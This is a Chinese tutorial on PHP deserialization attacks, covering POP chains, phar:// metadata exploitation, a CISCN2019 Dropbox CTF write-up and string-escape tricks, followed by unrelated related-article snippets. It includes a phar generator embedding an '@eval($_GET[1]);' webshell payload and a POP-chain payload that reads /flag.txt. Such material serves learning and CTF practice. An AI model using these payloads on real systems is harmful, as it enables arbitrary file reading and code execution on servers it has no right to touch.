PHP反序列化
文章目录
- 简介
- POP链构造和Phar://
- 题目[CISCN2019 华北赛区 Day1 Web1]Dropbox
- 字符串逃逸
简介
php序列化的过程就是把数据转化成一种可逆的数据结构,逆向的过程就叫做反序列化。
php将数据序列化和反序列化会用到两个函数:
serialize 将对象格式化成有序的字符串。
unserialize 经字符串还原成原来的对象。
序列化的目的是方便数据的传输和储存。
序列化得到的结果:
a:3:{i:0;s:4:"anan";i:1;s:3:"shi";i:2;s:2:"zi";}
a:array代表是数组,后面的3说明有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为anan长度为4
而如果变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式,如下:
<?php
class test{protected $a;private $b;function __construct(){$this->a = "anan";$this->b="lan";}function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>
输出则会导致不可见字符\x00的丢失
O:4:"test":2:{s:4:" * a";s::"anan";s:7:" test b";s:3:"lan";}
反序列化中常见的魔术方法:
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
POP链构造和Phar://
为什么要用POP链:做题过程中没有那么多的魔术方法可以绕过,审计代码的过程中只有普通的方法,但是不能直接利用,这是需要通过POP链联系起来。
phar://协议就是数据流包装器
<?php
class hello
{var $a = '';
}@unlink('test.phar');$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');$b = new hello();
$b->a = '@eval($_GET[1]);';$phar->setMetadata($b);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
会生成test.phar
题目[CISCN2019 华北赛区 Day1 Web1]Dropbox
打开后是一个登录框,注册登录发现可以上传文件,尝试上传,只能上传图片文件
抓包后修改Content-Type:image/jepg后上传成功
这里可以下载删除,可以利用这个点抓包,尝试读取文件
尝试查看flag,文件不存在,尝试下载源码,发现还是文件不存在,这里是目录跳转所以不存在
尝试跳转
可以下载需要的文件,index.php,login.php,upload.php,download.php,delete.php,class.php
进行代码审计,发现class.php中Filelist类中的__call()魔术方法
__call() //在对象上下文中调用不可访问的方法时触发
index.php中函数没有执行会执行__call()魔术方法
index.php中的Name和Size方法没有执行,去class.php中查看,File类中有close()方法,读取文件,可以进行文件包含。
POP链构造
a = new FileList()(可以通过Phar://完成)
a - >close() => a - >call(close)a - >file = new File (‘/flag’)
a - >file - >close()
这里的close()方法需要在class.php中,有User类,其中__destruct()魔术方法,调用close()方法
构建payload
<?phpclass User {public $db;function __construct(){$this->db = new Filelist();}
}
class FileList {private $files;private $results;private $funcs;function __construct(){$this->files=[new File('/flag.txt')];$this->results=[];$this->funcs=[];}
}class File {public $filename;function __construct(){$this->filename=$name;}
}
$a = new User();$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
生成文件,抓包上传,通过抓包来读取想要的文件
需要注意的是,在download.php中,限制了访问的目录,所以只能在delete.php中利用payload
字符串逃逸
过滤后字符变多
<?php
function change($str){return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";
?>
这里就是把反序列化后的一个x替换成为两个
我们传入name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}
";i:1;s:6:"woaini";}
这一部分一共二十个字符
由于一个x会被替换为两个,我们输入了一共20个x,现在是40个,多出来的20个x其实取代了我们的这二十个字符";i:1;s:6:"woaini";}
,从而造成";i:1;s:6:"woaini";}
的溢出,而"闭合了前串,使得我们的字符串成功逃逸,可以被反序列化,输出woaini,最后的;}闭合反序列化全过程导致原来的";i:1;s:7:“I am 11”;}"被舍弃,不影响反序列化过程
过滤后字符变少
<?php
function change($str){return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];
就是把反序列化后的xx替换成为一个x
就是前面少了一半,导致后面的字符被吃掉,从而执行了我们后面的代码,这部分是age序列化后的结果
s:3:"age";s:28:"11";s:3:"age";s:6:"woaini";}"
由于前面是40个x所以导致少了20个字符,所以需要后面来补上,";s:3:“age”;s:28:"11这一部分刚好20个,后面由于有"闭合了前面因此后面的参数就可以由我们自定义执行。
参考PHP反序列化总结
PHP序列化和反序列化
相关文章:
PHP反序列化
文章目录简介POP链构造和Phar://题目[CISCN2019 华北赛区 Day1 Web1]Dropbox字符串逃逸简介 php序列化的过程就是把数据转化成一种可逆的数据结构,逆向的过程就叫做反序列化。 php将数据序列化和反序列化会用到两个函数: serialize 将对象格式化成有序的…...
什么蓝牙耳机打电话效果最好?通话效果好的无线蓝牙耳机
2023年了,TWS耳机虽说近乎人手一只了,但用户换新的需求和呼声依然热火朝天,因为我们想要听音乐、刷视频的时候都得准备,下面整理一些通话效果不错的耳机品牌。 第一款:南卡小音舱蓝牙耳机 动圈单元:13.3m…...
Tesseract centos环境安装,基于springboot图片提取文字
下载tesseract-orc https://github.com/tesseract-ocr/tesseract/tags下载leptonica wget http://www.leptonica.org/source/leptonica-1.78.0.tar.gz解压leptonica tar -xvf leptonica-1.78.0.tar.gz 配置编译安装leptonica 进文件夹 ./configure make make install安装aut…...
Elasticsearch7.8.0版本优化——写入速度优化
目录一、 写入速度优化的概述二、如何写入速度优化2.1、 批量数据提交2.2、 优化存储设备2.31、 合理使用合并2.4、 减少 Refresh2.5、 加大 Flush2.6、 减少副本的数量一、 写入速度优化的概述 ES 的默认配置,是综合了数据可靠性、写入速度、搜索实时性等因素。实使…...
【Redis】Redis主从同步中数据同步原理
【Redis】Redis主从同步中数据同步原理 文章目录【Redis】Redis主从同步中数据同步原理1. 全量同步1.1 判断是否第一次数据同步2. 增量同步3. 优化Redis主从集群4. 总结1. 全量同步 主从第一次同步是全量同步。 数据同步包括以下三个阶段: 在从节点执行slaveof命令…...
Python基础—while循环
(1)while循环: 语法格式: while 条件: 执行语句1…… 执行语句2…… 适用条件:无限循环 死循环 while True:print(条件是真的!)代码实例: i 0 # 创建一个计数的变量 while i < 5: # Truepr…...
linux基础(管道符,检索,vim和vi编辑使用)
♥️作者:小刘在C站 ♥️个人主页:小刘主页 ♥️每天分享云计算网络运维课堂笔记,努力不一定有收获,但一定会有收获加油!一起努力,共赴美好人生! ♥️夕阳下,是最美的绽放࿰…...
GAN | 代码简单实现生成对抗网络(GAN)(PyTorch)
2014年GAN发表,直到最近大火的AI生成全部有GAN的踪迹,快来简单实现它!!!GAN通过计算图和博弈论的创新组合,他们表明,如果有足够的建模能力,相互竞争的两个模型将能够通过普通的旧反向…...
华为面试题就这?00后卷王直接拿下30k华为offer......
先说一下我的情况,某211本计算机,之前在深圳那边做了大约半年多少儿编程老师,之后内部平调回长沙这边,回来之后发现有点难,这边可能是业绩难做,虚假承诺很厉害,要给那些家长虚假承诺去骗人家&am…...
html的常见标签使用
目录 1.vscode基础操作 2.html基础 语法 3.HTML文件的基本结构标签 4.注释标签 5.标题标签 6.段落标签:p 7.格式化标签 8.图片标签:img 绝对路径 相对路径 网络路径 alt属性 title属性 width/height属性 9.超链接标签:a 10.表格标签 11.列表标签 有序列表 无…...
STM32——毕设智能感应窗户
智能感应窗户 一、功能设计 以STM32F103芯片最小系统作为主控,实现自动监测、阈值设定功能和手动控制功能。 1、自动监测模式下: ① 采用温湿度传感器,实现采集当前环境的温度、湿度数值。 ② 采用光敏传感器,实现判断当前的环境…...
golang archive/tar库的学习
archive/tar 是 Golang 标准库中用于读取和写入 tar 归档文件的包。tar 是一种常见的文件压缩格式,它可以将多个文件和目录打包成单个文件,可以用于文件备份、传输等场景。 以下是一些学习 archive/tar 包的建议: 了解 tar 文件格式。在学习…...
MongoDB 详细教程,这一篇就够啦
文章目录1. 简介2. 特点3. 应用场景4. 安装(docker)5. 核心概念5.1 库5.2 集合5.3 文档6. 基本操作6.1 库6.1.1 增6.1.2 删6.1.3 改6.1.4 查6.2 集合6.2.1 增6.2.2 删6.2.3 改6.2.4 查6.3. 文档6.3.1 增6.3.2 删6.3.3 改6.3.4 查1. 语法2. 对比语法3. AN…...
python为什么慢
解释性 python是动态类型解释性语言,不管使用哪种解释器 因为“解释性语言”这个概念更多地是指代码的执行方式,而不是编译方式。在解释性语言中,代码在执行时会一行一行地解释并执行,而不是预先编译为机器语言。而即使使用了PyP…...
Android kotlin 组件间通讯 - LiveEventBus 及测试(更新中)
<<返回总目录 文章目录 一、LiveEventBus是什么二、测试一、LiveEventBus是什么 LiveEventBus是Android中组件间传递消息,支持AndroidX,Event:事件,Bus:总线 范围全覆盖的消息总线解决方案 进程内消息发送App内,跨进程消息发送App之间的消息发送更多特性支持 免配…...
linux服务器时间同步
Linux服务器时间同步 需求:两台以上服务器之间的时间同步,以其中一台服务器为时间源,其余服务器同步这台时间源服务器的时间 其中,时间源服务器需要有访问外网权限,不然时间源服务器无法同互联网同步最新的时间&#…...
扒系统CR8记录
目录 终极改造目标 过程记录 参考 为了将一套在线安装的系统,在不了解其架构、各模块细节的基础上,进行扒弄清楚,作以下记录。 终极改造目标 最终的目标,就是只通过CreMedia8_20230207.tar.gz解压 install 就把业务包安装了&…...
面试题(基础篇)
1、你是怎样理解OOP面向对象的面向对象是利于语言对现实事物进行抽象。面向对象具有以下特征:(1)继承:继承是从已有类得到继承信息创建新类的过程(2)封装:通常认为封装是把数据和操作数据的方法…...
如何利用ReconPal将自然语言处理技术应用于信息安全
关于ReconPal 网络侦查一直是网络安全研究以及渗透测试活动中最重要的阶段之一,而这一阶段看起来很容易,但往往需要很大的努力和很强的技术才能做好来。首先,我们需要使用正确的工具、正确的查询/语法以及正确的操作,并将所有信息…...
攻略 | 6步帮助中小微企业开拓东盟机电产品市场
如何帮助中小微外贸企业在东盟市场拓展机电产品一般贸易?随着全球化的发展,越来越多的中小微外贸企业开始涉足国际贸易。对于机电产品行业而言,东盟市场是一个非常重要的出口目的地。本文将为您介绍如何帮助中小微外贸企业在东盟市场拓展机电…...
Linux服务器磁盘分区、挂载、卸载及报错处理
整体操作是:先对磁盘进行格式化,格式化后挂载到需要的挂载点,最后添加分区启动表,以便下次系统启动时自动挂载。一、linux分区1、Linux来说wulun有几个分区,分给哪一目录使用,他归根结底只有一个根目录&…...
JavaScript基础语法入门
一. JS简介 JavaScript , 简称JS, JS最初只是为了进行前端页面开发, 但随这后来JS越来越火之后, JS就被赋予了更多的功能, 可以用来开发桌面程序, 手机App, 服务器端的程序等… JS是一种动态类型, 弱类型的脚本语言, 通过解释器运行, 主要在客户端和浏览器上运行, 比如Chrome…...
Linux基础命令-ln创建链接文件
文章目录 ln 命令介绍 命令格式 基本参数 参考实例 1) 创建文件的硬链接 2)创建文件的软链接 3)创建链接文件时,相同目标文件创建备份文件 命令总结 ln 命令介绍 先看下帮助文档中的含义 NAME ln - make links …...
Day21【元宇宙的实践构想07】—— 元宇宙与人工智能
💃🏼 本人简介:男 👶🏼 年龄:18 🤞 作者:那就叫我亮亮叭 📕 专栏:元宇宙 0.0 写在前面 “元宇宙”在2021年成为时髦的概念。元宇宙到底是什么?元宇…...
MySQL的InnoDB 三种行锁,SQL 语句加了哪些锁?
InnoDB 三种行锁: Record Lock(记录锁):锁住某一行记录 Gap Lock(间隙锁):锁住一段左开右开的区间 Next-key Lock(临键锁):锁住一段左开右闭的区间 哪些语句…...
Java培训:深入解读函数式接口
函数式编程是一种编程规范或一种编程思想,简单可以理解问将运算或实现过程看做是函数的计算。 Java8为了实现函数式编程,提出了3个重要的概念:Lambda表达式、方法引用、函数式接口。现在很多公司都在使用lambda表达式进行代码编写,…...
scratch潜水 电子学会图形化编程scratch等级考试一级真题和答案解析2022年12月
目录 scratch潜水 一、题目要求 1、准备工作 2、功能实现 二、案例分析...
DNS服务器部署的详细操作(图文版)
DNS服务器的部署 打开虚拟机后查看已经开放的端口,可以看到没有TCP53、UDP53,说明DNS服务端口没有打开 打开我的电脑—双击CD驱动器— 选择安装可选的Windows组件 选择网络服务—域名系统(DNS)— 点击下一步后会弹出如下弹…...
Compose – List / Detail: Basics实现
Compose – List / Detail: Basics实现 在androidx中有SlidingPanelLayout可以实现折叠屏的列表详情功能,但在Compose 中还没有官方的实现,那么下面我们用Compose做一些实现。 List / Detail 我们追求的基本行为是当 UI 具有项列表时。当用户点击列表…...
【Java】TCP网络编程(字节/符流)
文章目录概念TCP网络编程ServerSocketsocket使用区别和原理演示概念 TCP(传输控制协议)是一种面向连接的协议,用于在计算机网络中可靠地传输数据。TCP是Internet协议族中的一个核心协议,它在传输层提供可靠、有序、基于流的传输服…...
网站个人备案步骤/推广网站源码
实现线程安全总结来说存在四种方法:1. 使用ThreadLocal----主要用于数据的传递2. synchronized----JVm来实现的3. lock----cpu的硬件指令4. 使用Atomic类型----使用CPU的指令来实现5. 并发包中读写分离CopyOnWriteArrayList等...6 ......package J…...
做电影网站会有什么惩罚/文大侠seo
一.配置前的准备:1.安装vsftpd软件包yum install vsftpd2.查看vsftpd启动状态chkconfig --list vsftpd3.设置vsftpd 2345为启动状态chkconfig --level 2345 vsftpd on4.查看防火墙状态/etc/init.d/iptables status5.添加开放21号端口iptables -I INPUT -p tcp --dpo…...
建设银行网站的目的是什么意思/看广告得收益的app
可以点击Finder->偏好设置->边栏->勾选桌面和文稿选项...
动态设计网站/今日国际新闻热点
F 题意: 就是有n个人,然后有m对朋友关系,现在让你选出一些朋友进入派对。这个派对的友好值就是,朋友关系-点的个数,也就是边的个数减去点的个数,问你友好值最大是多少。 思考: 其实看到这个题…...
做网站接活犯法吗/如何对网站进行推广
1. 查看该数据库实例下所有库大小,得到的结果是以MB为单位mysql> select table_schema,sum(data_length)/1024/1024 as data_length,sum(index_length)/1024/1024 \as index_length,sum(data_lengthindex_length)/1024/1024 as sum from information_schema.tabl…...
阿里云服务器上做淘宝客网站/什么推广平台好
【一】Activity #1 生命周期 参考:https://blog.csdn.net/liuhe688/article/details/6733407 #2 activity 与fragment生命周期对比 #3 启动模式 *1 standard 标准启动模式 *2 singleTop 单一栈顶启动模式 *3 singleTask 单一栈的启动模式 *4 singleInstance 单一实例…...